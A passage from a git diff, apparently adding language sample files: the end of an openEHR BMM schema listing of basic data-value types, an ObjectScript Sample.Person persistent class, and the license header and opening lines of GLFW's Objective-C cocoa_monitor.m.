+                ["keywords"] = (P_BMM_CONTAINER_PROPERTY) <
+                    name = <"keywords">
+                    cardinality = <|>=0|>
+                    type_def = <
+                        type = <"String">
+                        container_type = <"List">
+                    >
+                >
+                ["use"] = (P_BMM_SINGLE_PROPERTY) <
+                    name = <"use">
+                    type = <"String">
+                >
+                ["misuse"] = (P_BMM_SINGLE_PROPERTY) <
+                    name = <"misuse">
+                    type = <"String">
+                >
+                ["copyright"] = (P_BMM_SINGLE_PROPERTY) <
+                    name = <"copyright">
+                    type = <"String">
+                >
+                ["original_resource_uri"] = (P_BMM_CONTAINER_PROPERTY) <
+                    name = <"original_resource_uri">
+                    cardinality = <|>=0|>
+                    type_def = <
+                        type_def = (P_BMM_GENERIC_TYPE) <
+                            root_type = <"Hash">
+                            generic_parameters = <"String", "String">
+                        >
+                        container_type = <"List">
+                    >
+                >
+                ["other_details"] = (P_BMM_GENERIC_PROPERTY) <
+                    name = <"other_details">
+                    type_def = <
+                        root_type = <"Hash">
+                        generic_parameters = <"String", "String">
+                    >
+                    is_mandatory = <True>
+                >
+            >
+            source_schema_id = <"openehr_structures_1.0.3">
+            uid = <456>
+        >
+        ["OBJECT_REF"] = <
+            name = <"OBJECT_REF">
+            ancestors = <"Any", ...>
+            properties = <
+                ["id"] = (P_BMM_SINGLE_PROPERTY) <
+                    name = <"id">
+                    type = <"OBJECT_ID">
+                    is_mandatory = <True>
+                >
+                ["namespace"] = (P_BMM_SINGLE_PROPERTY) <
+                    name = <"namespace">
+                    type = <"String">
+                    is_mandatory = <True>
+                >
+                ["type"] = (P_BMM_SINGLE_PROPERTY) <
+                    name = <"type">
+                    type = <"String">
+                    is_mandatory = <True>
+                >
+            >
+            source_schema_id = <"openehr_basic_types_1.0.3">
+            uid = <286>
+        >
+        ["LOCATABLE_REF"] = <
+            name = <"LOCATABLE_REF">
+            ancestors = <"OBJECT_REF", ...>
+            properties = <
+                ["id"] = (P_BMM_SINGLE_PROPERTY) <
+                    name = <"id">
+                    type = <"UID_BASED_ID">
+                    is_mandatory = <True>
+                >
+                ["path"] = (P_BMM_SINGLE_PROPERTY) <
+                    name = <"path">
+                    type = <"String">
+                    is_im_infrastructure = <True>
+                >
+            >
+            source_schema_id = <"openehr_basic_types_1.0.3">
+            uid = <287>
+        >
+        ["PARTY_REF"] = <
+            name = <"PARTY_REF">
+            ancestors = <"OBJECT_REF", ...>
+            source_schema_id = <"openehr_basic_types_1.0.3">
+            uid = <288>
+        >
+        ["ACCESS_GROUP_REF"] = <
+            name = <"ACCESS_GROUP_REF">
+            ancestors = <"OBJECT_REF", ...>
+            source_schema_id = <"openehr_basic_types_1.0.3">
+            uid = <289>
+        >
+        ["OBJECT_ID"] = <
+            name = <"OBJECT_ID">
+            ancestors = <"Any", ...>
+            properties = <
+                ["value"] = (P_BMM_SINGLE_PROPERTY) <
+                    name = <"value">
+                    type = <"String">
+                    is_mandatory = <True>
+                >
+            >
+            source_schema_id = <"openehr_basic_types_1.0.3">
+            is_abstract = <True>
+            uid = <290>
+        >
+        ["TERMINOLOGY_ID"] = <
+            name = <"TERMINOLOGY_ID">
+            ancestors = <"OBJECT_ID", ...>
+            source_schema_id = <"openehr_basic_types_1.0.3">
+            uid = <291>
+        >
+        ["UID_BASED_ID"] = <
+            name = <"UID_BASED_ID">
+            ancestors = <"OBJECT_ID", ...>
+            source_schema_id = <"openehr_basic_types_1.0.3">
+            is_abstract = <True>
+            uid = <292>
+        >
+        ["GENERIC_ID"] = <
+            name = <"GENERIC_ID">
+            ancestors = <"OBJECT_ID", ...>
+            properties = <
+                ["scheme"] = (P_BMM_SINGLE_PROPERTY) <
+                    name = <"scheme">
+                    type = <"String">
+                    is_mandatory = <True>
+                >
+            >
+            source_schema_id = <"openehr_basic_types_1.0.3">
+            uid = <293>
+        >
+        ["ARCHETYPE_ID"] = <
+            name = <"ARCHETYPE_ID">
+            ancestors = <"OBJECT_ID", ...>
+            source_schema_id = <"openehr_basic_types_1.0.3">
+            uid = <294>
+        >
+        ["TEMPLATE_ID"] = <
+            name = <"TEMPLATE_ID">
+            ancestors = <"OBJECT_ID", ...>
+            source_schema_id = <"openehr_basic_types_1.0.3">
+            uid = <295>
+        >
+        ["OBJECT_VERSION_ID"] = <
+            name = <"OBJECT_VERSION_ID">
+            ancestors = <"UID_BASED_ID", ...>
+            source_schema_id = <"openehr_basic_types_1.0.3">
+            uid = <296>
+        >
+        ["HIER_OBJECT_ID"] = <
+            name = <"HIER_OBJECT_ID">
+            ancestors = <"UID_BASED_ID", ...>
+            source_schema_id = <"openehr_basic_types_1.0.3">
+            uid = <297>
+        >
+        ["VERSION_TREE_ID"] = <
+            name = <"VERSION_TREE_ID">
+            ancestors = <"Any", ...>
+            properties = <
+                ["value"] = (P_BMM_SINGLE_PROPERTY) <
+                    name = <"value">
+                    type = <"String">
+                    is_mandatory = <True>
+                >
+            >
+            source_schema_id = <"openehr_basic_types_1.0.3">
+            uid = <298>
+        >
+        ["UID"] = <
+            name = <"UID">
+            ancestors = <"Any", ...>
+            properties = <
+                ["value"] = (P_BMM_SINGLE_PROPERTY) <
+                    name = <"value">
+                    type = <"String">
+                    is_mandatory = <True>
+                >
+            >
+            source_schema_id = <"openehr_basic_types_1.0.3">
+            is_abstract = <True>
+            uid = <299>
+        >
+        ["INTERNET_ID"] = <
+            name = <"INTERNET_ID">
+            ancestors = <"UID", ...>
+            source_schema_id = <"openehr_basic_types_1.0.3">
+            uid = <300>
+        >
+        ["UUID"] = <
+            name = <"UUID">
+            ancestors = <"UID", ...>
+            source_schema_id = <"openehr_basic_types_1.0.3">
+            uid = <301>
+        >
+        ["ISO_OID"] = <
+            name = <"ISO_OID">
+            ancestors = <"UID", ...>
+            source_schema_id = <"openehr_basic_types_1.0.3">
+            uid = <302>
+        >
+        ["DATA_VALUE"] = <
+            name = <"DATA_VALUE">
+            ancestors = <"Any", ...>
+            source_schema_id = <"openehr_basic_types_1.0.3">
+            is_abstract = <True>
+            uid = <303>
+        >
+        ["DV_BOOLEAN"] = <
+            name = <"DV_BOOLEAN">
+            ancestors = <"DATA_VALUE", ...>
+            properties = <
+                ["value"] = (P_BMM_SINGLE_PROPERTY) <
+                    name = <"value">
+                    type = <"Boolean">
+                    is_mandatory = <True>
+                >
+            >
+            source_schema_id = <"openehr_basic_types_1.0.3">
+            uid = <304>
+        >
+        ["DV_IDENTIFIER"] = <
+            name = <"DV_IDENTIFIER">
+            ancestors = <"DATA_VALUE", ...>
+            properties = <
+                ["issuer"] = (P_BMM_SINGLE_PROPERTY) <
+                    name = <"issuer">
+                    type = <"String">
+                >
+                ["id"] = (P_BMM_SINGLE_PROPERTY) <
+                    name = <"id">
+                    type = <"String">
+                    is_mandatory = <True>
+                    is_im_runtime = <True>
+                >
+                ["type"] = (P_BMM_SINGLE_PROPERTY) <
+                    name = <"type">
+                    type = <"String">
+                >
+                ["assigner"] = (P_BMM_SINGLE_PROPERTY) <
+                    name = <"assigner">
+                    type = <"String">
+                >
+            >
+            source_schema_id = <"openehr_basic_types_1.0.3">
+            uid = <305>
+        >
+        ["DV_STATE"] = <
+            name = <"DV_STATE">
+            ancestors = <"DATA_VALUE", ...>
+            properties = <
+                ["value"] = (P_BMM_SINGLE_PROPERTY) <
+                    name = <"value">
+                    type = <"DV_CODED_TEXT">
+                    is_mandatory = <True>
+                >
+                ["is_terminal"] = (P_BMM_SINGLE_PROPERTY) <
+                    name = <"is_terminal">
+                    type = <"Boolean">
+                    is_mandatory = <True>
+                >
+            >
+            source_schema_id = <"openehr_basic_types_1.0.3">
+            uid = <306>
+        >
+        ["TERM_MAPPING"] = <
+            name = <"TERM_MAPPING">
+            properties = <
+                ["match"] = (P_BMM_SINGLE_PROPERTY) <
+                    name = <"match">
+                    type = <"Character">
+                    is_mandatory = <True>
+                >
+                ["purpose"] = (P_BMM_SINGLE_PROPERTY) <
+                    name = <"purpose">
+                    type = <"DV_CODED_TEXT">
+                >
+                ["target"] = (P_BMM_SINGLE_PROPERTY) <
+                    name = <"target">
+                    type = <"CODE_PHRASE">
+                    is_mandatory = <True>
+                >
+            >
+            source_schema_id = <"openehr_basic_types_1.0.3">
+            uid = <307>
+        >
+        ["DV_TEXT"] = <
+            name = <"DV_TEXT">
+            ancestors = <"DATA_VALUE", ...>
+            properties = <
+                ["value"] = (P_BMM_SINGLE_PROPERTY) <
+                    name = <"value">
+                    type = <"String">
+                    is_mandatory = <True>
+                >
+                ["hyperlink"] = (P_BMM_SINGLE_PROPERTY) <
+                    name = <"hyperlink">
+                    type = <"DV_URI">
+                    is_im_runtime = <True>
+                >
+                ["language"] = (P_BMM_SINGLE_PROPERTY) <
+                    name = <"language">
+                    type = <"CODE_PHRASE">
+                    is_im_infrastructure = <True>
+                >
+                ["encoding"] = (P_BMM_SINGLE_PROPERTY) <
+                    name = <"encoding">
+                    type = <"CODE_PHRASE">
+                    is_im_infrastructure = <True>
+                >
+                ["formatting"] = (P_BMM_SINGLE_PROPERTY) <
+                    name = <"formatting">
+                    type = <"String">
+                    is_im_runtime = <True>
+                >
+                ["mappings"] = (P_BMM_CONTAINER_PROPERTY) <
+                    name = <"mappings">
+                    cardinality = <|>=1|>
+                    type_def = <
+                        type = <"TERM_MAPPING">
+                        container_type = <"List">
+                    >
+                    is_im_runtime = <True>
+                >
+            >
+            source_schema_id = <"openehr_basic_types_1.0.3">
+            uid = <308>
+        >
+        ["DV_CODED_TEXT"] = <
+            name = <"DV_CODED_TEXT">
+            ancestors = <"DV_TEXT", ...>
+            properties = <
+                ["defining_code"] = (P_BMM_SINGLE_PROPERTY) <
+                    name = <"defining_code">
+                    type = <"CODE_PHRASE">
+                    is_mandatory = <True>
+                >
+            >
+            source_schema_id = <"openehr_basic_types_1.0.3">
+            uid = <309>
+        >
+        ["CODE_PHRASE"] = <
+            name = <"CODE_PHRASE">
+            properties = <
+                ["terminology_id"] = (P_BMM_SINGLE_PROPERTY) <
+                    name = <"terminology_id">
+                    type = <"TERMINOLOGY_ID">
+                    is_mandatory = <True>
+                >
+                ["code_string"] = (P_BMM_SINGLE_PROPERTY) <
+                    name = <"code_string">
+                    type = <"String">
+                    is_mandatory = <True>
+                >
+            >
+            source_schema_id = <"openehr_basic_types_1.0.3">
+            uid = <310>
+        >
+        ["DV_PARAGRAPH"] = <
+            name = <"DV_PARAGRAPH">
+            ancestors = <"DATA_VALUE", ...>
+            properties = <
+                ["items"] = (P_BMM_CONTAINER_PROPERTY) <
+                    name = <"items">
+                    cardinality = <|>=1|>
+                    type_def = <
+                        type = <"DV_TEXT">
+                        container_type = <"List">
+                    >
+                    is_mandatory = <True>
+                >
+            >
+            source_schema_id = <"openehr_basic_types_1.0.3">
+            uid = <311>
+        >
+        ["DV_INTERVAL"] = <
+            name = <"DV_INTERVAL">
+            generic_parameter_defs = <
+                ["T"] = <
+                    name = <"T">
+                    conforms_to_type = <"DV_ORDERED">
+                >
+            >
+            ancestors = <"Interval", "DATA_VALUE">
+            source_schema_id = <"openehr_basic_types_1.0.3">
+            uid = <312>
+        >
+        ["REFERENCE_RANGE"] = <
+            name = <"REFERENCE_RANGE">
+            generic_parameter_defs = <
+                ["T"] = <
+                    name = <"T">
+                    conforms_to_type = <"DV_ORDERED">
+                >
+            >
+            ancestors = <"Any", ...>
+            properties = <
+                ["range"] = (P_BMM_GENERIC_PROPERTY) <
+                    name = <"range">
+                    type_def = <
+                        root_type = <"DV_INTERVAL">
+                        generic_parameters = <"T", ...>
+                    >
+                    is_mandatory = <True>
+                >
+                ["meaning"] = (P_BMM_SINGLE_PROPERTY) <
+                    name = <"meaning">
+                    type = <"DV_TEXT">
+                    is_mandatory = <True>
+                >
+            >
+            source_schema_id = <"openehr_basic_types_1.0.3">
+            uid = <313>
+        >
+        ["DV_ORDERED"] = <
+            name = <"DV_ORDERED">
+            ancestors = <"Ordered", "DATA_VALUE">
+            properties = <
+                ["normal_status"] = (P_BMM_SINGLE_PROPERTY) <
+                    name = <"normal_status">
+                    type = <"CODE_PHRASE">
+                >
+                ["normal_range"] = (P_BMM_GENERIC_PROPERTY) <
+                    name = <"normal_range">
+                    type_def = <
+                        root_type = <"DV_INTERVAL">
+                        generic_parameters = <"DV_ORDERED", ...>
+                    >
+                >
+                ["other_reference_ranges"] = (P_BMM_CONTAINER_PROPERTY) <
+                    name = <"other_reference_ranges">
+                    cardinality = <|>=1|>
+                    type_def = <
+                        type_def = (P_BMM_GENERIC_TYPE) <
+                            root_type = <"REFERENCE_RANGE">
+                            generic_parameters = <"DV_ORDERED", ...>
+                        >
+                        container_type = <"List">
+                    >
+                >
+            >
+            source_schema_id = <"openehr_basic_types_1.0.3">
+            is_abstract = <True>
+            uid = <314>
+        >
+        ["DV_QUANTIFIED"] = <
+            name = <"DV_QUANTIFIED">
+            ancestors = <"DV_ORDERED", ...>
+            properties = <
+                ["magnitude_status"] = (P_BMM_SINGLE_PROPERTY) <
+                    name = <"magnitude_status">
+                    type = <"String">
+                    is_im_runtime = <True>
+                >
+                ["accuracy"] = (P_BMM_SINGLE_PROPERTY) <
+                    name = <"accuracy">
+                    type = <"Any">
+                >
+            >
+            source_schema_id = <"openehr_basic_types_1.0.3">
+            is_abstract = <True>
+            uid = <315>
+        >
+        ["DV_ORDINAL"] = <
+            name = <"DV_ORDINAL">
+            ancestors = <"DV_ORDERED", ...>
+            properties = <
+                ["value"] = (P_BMM_SINGLE_PROPERTY) <
+                    name = <"value">
+                    type = <"Integer">
+                    is_mandatory = <True>
+                >
+                ["symbol"] = (P_BMM_SINGLE_PROPERTY) <
+                    name = <"symbol">
+                    type = <"DV_CODED_TEXT">
+                    is_mandatory = <True>
+                >
+            >
+            source_schema_id = <"openehr_basic_types_1.0.3">
+            uid = <316>
+        >
+        ["DV_AMOUNT"] = <
+            name = <"DV_AMOUNT">
+            ancestors = <"DV_QUANTIFIED", ...>
+            properties = <
+                ["accuracy"] = (P_BMM_SINGLE_PROPERTY) <
+                    name = <"accuracy">
+                    type = <"Real">
+                    is_im_runtime = <True>
+                >
+                ["accuracy_is_percent"] = (P_BMM_SINGLE_PROPERTY) <
+                    name = <"accuracy_is_percent">
+                    type = <"Boolean">
+                    is_im_runtime = <True>
+                >
+            >
+            source_schema_id = <"openehr_basic_types_1.0.3">
+            is_abstract = <True>
+            uid = <317>
+        >
+        ["DV_ABSOLUTE_QUANTITY"] = <
+            name = <"DV_ABSOLUTE_QUANTITY">
+            ancestors = <"DV_QUANTIFIED", ...>
+            properties = <
+                ["accuracy"] = (P_BMM_SINGLE_PROPERTY) <
+                    name = <"accuracy">
+                    type = <"DV_AMOUNT">
+                    is_im_runtime = <True>
+                >
+            >
+            source_schema_id = <"openehr_basic_types_1.0.3">
+            is_abstract = <True>
+            uid = <318>
+        >
+        ["DV_QUANTITY"] = <
+            name = <"DV_QUANTITY">
+            ancestors = <"DV_AMOUNT", ...>
+            properties = <
+                ["magnitude"] = (P_BMM_SINGLE_PROPERTY) <
+                    name = <"magnitude">
+                    type = <"Real">
+                    is_mandatory = <True>
+                >
+                ["property"] = (P_BMM_SINGLE_PROPERTY) <
+                    name = <"property">
+                    type = <"CODE_PHRASE">
+                    is_mandatory = <True>
+                >
+                ["units"] = (P_BMM_SINGLE_PROPERTY) <
+                    name = <"units">
+                    type = <"String">
+                    is_mandatory = <True>
+                >
+                ["precision"] = (P_BMM_SINGLE_PROPERTY) <
+                    name = <"precision">
+                    type = <"Integer">
+                >
+                ["normal_range"] = (P_BMM_GENERIC_PROPERTY) <
+                    name = <"normal_range">
+                    type_def = <
+                        root_type = <"DV_INTERVAL">
+                        generic_parameters = <"DV_QUANTITY", ...>
+                    >
+                >
+                ["other_reference_ranges"] = (P_BMM_CONTAINER_PROPERTY) <
+                    name = <"other_reference_ranges">
+                    type_def = <
+                        type_def = (P_BMM_GENERIC_TYPE) <
+                            root_type = <"REFERENCE_RANGE">
+                            generic_parameters = <"DV_QUANTITY", ...>
+                        >
+                        container_type = <"List">
+                    >
+                >
+            >
+            source_schema_id = <"openehr_basic_types_1.0.3">
+            uid = <319>
+        >
+        ["DV_COUNT"] = <
+            name = <"DV_COUNT">
+            ancestors = <"DV_AMOUNT", ...>
+            properties = <
+                ["magnitude"] = (P_BMM_SINGLE_PROPERTY) <
+                    name = <"magnitude">
+                    type = <"Integer64">
+                    is_mandatory = <True>
+                >
+                ["normal_range"] = (P_BMM_GENERIC_PROPERTY) <
+                    name = <"normal_range">
+                    type_def = <
+                        root_type = <"DV_INTERVAL">
+                        generic_parameters = <"DV_COUNT", ...>
+                    >
+                >
+                ["other_reference_ranges"] = (P_BMM_CONTAINER_PROPERTY) <
+                    name = <"other_reference_ranges">
+                    type_def = <
+                        type_def = (P_BMM_GENERIC_TYPE) <
+                            root_type = <"REFERENCE_RANGE">
+                            generic_parameters = <"DV_COUNT", ...>
+                        >
+                        container_type = <"List">
+                    >
+                >
+            >
+            source_schema_id = <"openehr_basic_types_1.0.3">
+            uid = <320>
+        >
+        ["DV_PROPORTION"] = <
+            name = <"DV_PROPORTION">
+            ancestors = <"DV_AMOUNT", ...>
+            properties = <
+                ["numerator"] = (P_BMM_SINGLE_PROPERTY) <
+                    name = <"numerator">
+                    type = <"Real">
+                    is_mandatory = <True>
+                >
+                ["denominator"] = (P_BMM_SINGLE_PROPERTY) <
+                    name = <"denominator">
+                    type = <"Real">
+                    is_mandatory = <True>
+                >
+                ["type"] = (P_BMM_SINGLE_PROPERTY) <
+                    name = <"type">
+                    type = <"PROPORTION_KIND">
+                    is_mandatory = <True>
+                >
+                ["precision"] = (P_BMM_SINGLE_PROPERTY) <
+                    name = <"precision">
+                    type = <"Integer">
+                >
+                ["is_integral"] = (P_BMM_SINGLE_PROPERTY) <
+                    name = <"is_integral">
+                    type = <"Boolean">
+                    is_computed = <True>
+                >
+                ["normal_range"] = (P_BMM_GENERIC_PROPERTY) <
+                    name = <"normal_range">
+                    type_def = <
+                        root_type = <"DV_INTERVAL">
+                        generic_parameters = <"DV_PROPORTION", ...>
+                    >
+                >
+                ["other_reference_ranges"] = (P_BMM_CONTAINER_PROPERTY) <
+                    name = <"other_reference_ranges">
+                    cardinality = <|>=1|>
+                    type_def = <
+                        type_def = (P_BMM_GENERIC_TYPE) <
+                            root_type = <"REFERENCE_RANGE">
+                            generic_parameters = <"DV_PROPORTION", ...>
+                        >
+                        container_type = <"List">
+                    >
+                >
+            >
+            source_schema_id = <"openehr_basic_types_1.0.3">
+            uid = <321>
+        >
+        ["PROPORTION_KIND"] = (P_BMM_ENUMERATION_INTEGER) <
+            name = <"PROPORTION_KIND">
+            ancestors = <"Integer", ...>
+            source_schema_id = <"openehr_basic_types_1.0.3">
+            item_names = <"pk_ratio", "pk_unitary", "pk_percent", "pk_fraction", "pk_integer_fraction">
+            uid = <322>
+        >
+        ["DV_TEMPORAL"] = <
+            name = <"DV_TEMPORAL">
+            ancestors = <"DV_ABSOLUTE_QUANTITY", ...>
+            properties = <
+                ["accuracy"] = (P_BMM_SINGLE_PROPERTY) <
+                    name = <"accuracy">
+                    type = <"DV_DURATION">
+                >
+            >
+            source_schema_id = <"openehr_basic_types_1.0.3">
+            is_abstract = <True>
+            uid = <323>
+        >
+        ["DV_DATE"] = <
+            name = <"DV_DATE">
+            ancestors = <"DV_TEMPORAL", "ISO8601_DATE">
+            properties = <
+                ["value"] = (P_BMM_SINGLE_PROPERTY) <
+                    name = <"value">
+                    type = <"String">
+                    is_mandatory = <True>
+                >
+            >
+            source_schema_id = <"openehr_basic_types_1.0.3">
+            uid = <324>
+        >
+        ["DV_TIME"] = <
+            name = <"DV_TIME">
+            ancestors = <"DV_TEMPORAL", "ISO8601_TIME">
+            properties = <
+                ["value"] = (P_BMM_SINGLE_PROPERTY) <
+                    name = <"value">
+                    type = <"String">
+                    is_mandatory = <True>
+                >
+            >
+            source_schema_id = <"openehr_basic_types_1.0.3">
+            uid = <325>
+        >
+        ["DV_DATE_TIME"] = <
+            name = <"DV_DATE_TIME">
+            ancestors = <"DV_TEMPORAL", "ISO8601_DATE_TIME">
+            properties = <
+                ["value"] = (P_BMM_SINGLE_PROPERTY) <
+                    name = <"value">
+                    type = <"String">
+                    is_mandatory = <True>
+                >
+            >
+            source_schema_id = <"openehr_basic_types_1.0.3">
+            uid = <326>
+        >
+        ["DV_DURATION"] = <
+            name = <"DV_DURATION">
+            ancestors = <"DV_AMOUNT", "ISO8601_DURATION">
+            properties = <
+                ["value"] = (P_BMM_SINGLE_PROPERTY) <
+                    name = <"value">
+                    type = <"String">
+                    is_mandatory = <True>
+                >
+            >
+            source_schema_id = <"openehr_basic_types_1.0.3">
+            uid = <327>
+        >
+        ["DV_ENCAPSULATED"] = <
+            name = <"DV_ENCAPSULATED">
+            ancestors = <"DATA_VALUE", ...>
+            properties = <
+                ["charset"] = (P_BMM_SINGLE_PROPERTY) <
+                    name = <"charset">
+                    type = <"CODE_PHRASE">
+                    is_im_runtime = <True>
+                >
+                ["language"] = (P_BMM_SINGLE_PROPERTY) <
+                    name = <"language">
+                    type = <"CODE_PHRASE">
+                    is_im_runtime = <True>
+                >
+            >
+            source_schema_id = <"openehr_basic_types_1.0.3">
+            is_abstract = <True>
+            uid = <328>
+        >
+        ["DV_MULTIMEDIA"] = <
+            name = <"DV_MULTIMEDIA">
+            ancestors = <"DV_ENCAPSULATED", ...>
+            properties = <
+                ["alternate_text"] = (P_BMM_SINGLE_PROPERTY) <
+                    name = <"alternate_text">
+                    type = <"String">
+                >
+                ["uri"] = (P_BMM_SINGLE_PROPERTY) <
+                    name = <"uri">
+                    type = <"DV_URI">
+                >
+                ["data"] = (P_BMM_CONTAINER_PROPERTY) <
+                    name = <"data">
+                    cardinality = <|>=0|>
+                    type_def = <
+                        type = <"Octet">
+                        container_type = <"Array">
+                    >
+                >
+                ["media_type"] = (P_BMM_SINGLE_PROPERTY) <
+                    name = <"media_type">
+                    type = <"CODE_PHRASE">
+                    is_mandatory = <True>
+                >
+                ["compression_algorithm"] = (P_BMM_SINGLE_PROPERTY) <
+                    name = <"compression_algorithm">
+                    type = <"CODE_PHRASE">
+                >
+                ["integrity_check"] = (P_BMM_CONTAINER_PROPERTY) <
+                    name = <"integrity_check">
+                    cardinality = <|>=0|>
+                    type_def = <
+                        type = <"Octet">
+                        container_type = <"Array">
+                    >
+                >
+                ["integrity_check_algorithm"] = (P_BMM_SINGLE_PROPERTY) <
+                    name = <"integrity_check_algorithm">
+                    type = <"CODE_PHRASE">
+                >
+                ["thumbnail"] = (P_BMM_SINGLE_PROPERTY) <
+                    name = <"thumbnail">
+                    type = <"DV_MULTIMEDIA">
+                >
+                ["size"] = (P_BMM_SINGLE_PROPERTY) <
+                    name = <"size">
+                    type = <"Integer">
+                    is_mandatory = <True>
+                    is_im_runtime = <True>
+                >
+            >
+            source_schema_id = <"openehr_basic_types_1.0.3">
+            uid = <329>
+        >
+        ["DV_PARSABLE"] = <
+            name = <"DV_PARSABLE">
+            ancestors = <"DV_ENCAPSULATED", ...>
+            properties = <
+                ["value"] = (P_BMM_SINGLE_PROPERTY) <
+                    name = <"value">
+                    type = <"String">
+                    is_mandatory = <True>
+                >
+                ["formalism"] = (P_BMM_SINGLE_PROPERTY) <
+                    name = <"formalism">
+                    type = <"String">
+                    is_mandatory = <True>
+                >
+            >
+            source_schema_id = <"openehr_basic_types_1.0.3">
+            uid = <330>
+        >
+        ["DV_URI"] = <
+            name = <"DV_URI">
+            ancestors = <"DATA_VALUE", ...>
+            properties = <
+                ["value"] = (P_BMM_SINGLE_PROPERTY) <
+                    name = <"value">
+                    type = <"String">
+                    is_mandatory = <True>
+                >
+            >
+            source_schema_id = <"openehr_basic_types_1.0.3">
+            uid = <331>
+        >
+        ["DV_EHR_URI"] = <
+            name = <"DV_EHR_URI">
+            ancestors = <"DV_URI", ...>
+            source_schema_id = <"openehr_basic_types_1.0.3">
+            uid = <332>
+        >
+        ["DV_TIME_SPECIFICATION"] = <
+            name = <"DV_TIME_SPECIFICATION">
+            ancestors = <"DATA_VALUE", ...>
+            properties = <
+                ["value"] = (P_BMM_SINGLE_PROPERTY) <
+                    name = <"value">
+                    type = <"DV_PARSABLE">
+                    is_mandatory = <True>
+                >
+            >
+            source_schema_id = <"openehr_basic_types_1.0.3">
+            is_abstract = <True>
+            uid = <333>
+        >
+        ["DV_PERIODIC_TIME_SPECIFICATION"] = <
+            name = <"DV_PERIODIC_TIME_SPECIFICATION">
+            ancestors = <"DV_TIME_SPECIFICATION", ...>
+            source_schema_id = <"openehr_basic_types_1.0.3">
+            uid = <334>
+        >
+        ["DV_GENERAL_TIME_SPECIFICATION"] = <
+            name = <"DV_GENERAL_TIME_SPECIFICATION">
+            ancestors = <"DV_TIME_SPECIFICATION", ...>
+            source_schema_id = <"openehr_basic_types_1.0.3">
+            uid = <335>
+        >
+    >
+    passed = <True>
+    missed_class_count = <0>
\ No newline at end of file
diff --git a/samples/ObjectScript/Sample.Person.cls b/samples/ObjectScript/Sample.Person.cls
new file mode 100644
index 0000000000..4e274b42ef
--- /dev/null
+++ b/samples/ObjectScript/Sample.Person.cls
@@ -0,0 +1,100 @@
+/// Use or operation of this code is subject to acceptance of the license available in the code repository for this code.
+/// This sample persistent class represents a person.
+Class Sample.Person Extends (%Persistent, %Populate, %XML.Adaptor)
+{
+
+Parameter EXTENTQUERYSPEC = "Name,SSN,Home.City,Home.State";
+
+/// Define a unique index for <property>SSN</property>.
+Index SSNKey On SSN [ Type = index, Unique ];
+
+/// Define an index for <property>Name</property>.
+Index NameIDX On Name [ Data = Name ];
+
+/// Define an index for embedded object property <b>ZipCode</b>.
+Index ZipCode On Home.Zip [ Type = bitmap ];
+
+/// Person's name.
+Property Name As %String(POPSPEC = "Name()") [ Required ];
+
+/// Person's Social Security number. This is validated using pattern match.
+Property SSN As %String(PATTERN = "3N1""-""2N1""-""4N") [ Required ];
+
+/// Person's Date of Birth.
+Property DOB As %Date(POPSPEC = "Date()");
+
+/// Person's home address. This uses an embedded object.
+Property Home As Address;
+
+/// Person's office address. This uses an embedded object.
+Property Office As Address;
+
+/// Person's spouse. This is a reference to another persistent object.
+Property Spouse As Person;
+
+/// A collection of strings representing the person's favorite colors.
+Property FavoriteColors As list Of %String(JAVATYPE = "java.util.List", POPSPEC = "ValueList("",Red,Orange,Yellow,Green,Blue,Purple,Black,White""):2");
+
+/// Person's age.<br>
+/// This is a calculated field whose value is derived from <property>DOB</property>.
+Property Age As %Integer [ Calculated, SqlComputeCode = { Set {Age}=##class(Sample.Person).CurrentAge({DOB})
+}, SqlComputed, SqlComputeOnChange = DOB ];
+
+/// This class method calculates a current age given a date of birth <var>date</var>.
+/// This method is used by the Age calculated field.
+ClassMethod CurrentAge(date As %Date = "") As %Integer [ CodeMode = expression ]
+{
+$Select(date="":"",1:($ZD($H,8)-$ZD(date,8)\10000))
+}
+
+/// A sample class query that defines a result set that returns Person data
+/// ordered by <property>Name</property>.<br>
+/// This query can be used within another method (using
+/// dynamic SQL), or it can be used from Java.<br>
+/// This query is also accessible from JDBC and/or ODBC as the SQL stored procedure
+/// <b>SP_Sample_By_Name</b>.
+Query ByName(name As %String = "") As %SQLQuery(CONTAINID = 1, SELECTMODE = "RUNTIME") [ SqlName = SP_Sample_By_Name, SqlProc ]
+{
+SELECT ID, Name, DOB, SSN
+FROM Sample.Person
+WHERE (Name %STARTSWITH :name)
+ORDER BY Name
+}
+
+Storage Default
+{
+<Data name="PersonDefaultData">
+<Value name="1">
+<Value>%%CLASSNAME</Value>
+</Value>
+<Value name="2">
+<Value>Name</Value>
+</Value>
+<Value name="3">
+<Value>SSN</Value>
+</Value>
+<Value name="4">
+<Value>DOB</Value>
+</Value>
+<Value name="5">
+<Value>Home</Value>
+</Value>
+<Value name="6">
+<Value>Office</Value>
+</Value>
+<Value name="7">
+<Value>Spouse</Value>
+</Value>
+<Value name="8">
+<Value>FavoriteColors</Value>
+</Value>
+</Data>
+<DataLocation>^Sample.PersonD</DataLocation>
+<DefaultData>PersonDefaultData</DefaultData>
+<IdLocation>^Sample.PersonD</IdLocation>
+<IndexLocation>^Sample.PersonI</IndexLocation>
+<StreamLocation>^Sample.PersonS</StreamLocation>
+<Type>%Storage.Persistent</Type>
+}
+
+}
diff --git a/samples/Objective-C/cocoa_monitor.m b/samples/Objective-C/cocoa_monitor.m
new file mode 100644
index 0000000000..9a384b6993
--- /dev/null
+++ b/samples/Objective-C/cocoa_monitor.m
@@ -0,0 +1,413 @@
+//========================================================================
+// GLFW 3.3 OS X - www.glfw.org
+//------------------------------------------------------------------------
+// Copyright (c) 2002-2006 Marcus Geelnard
+// Copyright (c) 2006-2016 Camilla Berglund <elmindreda@glfw.org>
+//
+// This software is provided 'as-is', without any express or implied
+// warranty. In no event will the authors be held liable for any damages
+// arising from the use of this software.
+//
+// Permission is granted to anyone to use this software for any purpose,
+// including commercial applications, and to alter it and redistribute it
+// freely, subject to the following restrictions:
+//
+// 1. The origin of this software must not be misrepresented; you must not
+//    claim that you wrote the original software. If you use this software
+//    in a product, an acknowledgment in the product documentation would
+//    be appreciated but is not required.
+//
+// 2. Altered source versions must be plainly marked as such, and must not
+//    be misrepresented as being the original software.
+//
+// 3. This notice may not be removed or altered from any source
+//    distribution.
+//
+//========================================================================
+
+#include "internal.h"
+
+#include <stdlib.h>
+#include <limits.h>
+
+#include <IOKit/graphics/IOGraphicsLib.h>
+#include <CoreVideo/CVBase.h>
+#include <CoreVideo/CVDisplayLink.h>
+#include <ApplicationServices/ApplicationServices.h>
+
+
+// Get the name of the specified display
+//
+static char* getDisplayName(CGDirectDisplayID displayID)
+{
+    char* name;
+    CFDictionaryRef info, names;
+    CFStringRef value;
+    CFIndex size;
+
